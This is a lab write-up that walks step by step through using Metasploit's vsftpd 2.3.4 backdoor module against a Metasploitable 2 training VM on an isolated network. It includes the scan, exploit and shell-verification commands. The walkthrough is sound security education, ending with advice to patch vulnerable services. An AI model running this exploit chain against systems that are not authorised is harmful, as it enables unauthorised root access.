

Privilege Escalation using Exploitation Frameworks

Tool: Metasploit Framework

Theory

The Metasploit Framework is an open-source penetration testing tool used to identify and demonstrate security vulnerabilities in authorised lab environments. Privilege escalation refers to gaining higher access levels than initially obtained, for example moving from a regular user shell to root. This experiment is performed only on Metasploitable 2, an intentionally vulnerable VM designed for security training.

Steps

1. Start Kali Linux and Metasploitable 2 in VirtualBox on a Host-Only network. Confirm connectivity. Run: `ping 192.168.56.102`
 2. Start the PostgreSQL database required by Metasploit. Run: `sudo systemctl start postgresql` — Then initialise the database. Run: `sudo msfdb init`
 3. Launch the Metasploit console. Run: `sudo msfconsole` — Wait for it to load. The prompt changes to `msf6 >`
 4. Scan the target from inside Metasploit to discover open services. Run: `db_nmap -sV 192.168.56.102` — Results are stored in the Metasploit database.
 5. Search for a known exploit for the vsftpd 2.3.4 backdoor vulnerability present on Metasploitable. Run: `search vsftpd`
 6. Select the exploit module. Run: `use exploit/unix/ftp/vsftpd_234_backdoor` — Then view required options. Run: `show options`
 7. Set the target IP address. Run: `set RHOSTS 192.168.56.102` — Then run the exploit. Run: `exploit` — If successful, a command shell session opens on the target.
 8. Verify the access level obtained. Run: `whoami` — The output should show root, confirming full privilege escalation. Also run: `id` to see the full user and group information.
 9. List all active sessions. Run: `sessions -l` — To close the session when done. Run: `exit` — Then type `exit` again to leave `msfconsole`.
-

Conclusion

The Metasploit Framework successfully exploited the vsftpd 2.3.4 backdoor on Metasploitable 2 and achieved root-level access, demonstrating privilege escalation. This highlights the critical importance of keeping software updated and removing unnecessary or vulnerable services from production systems.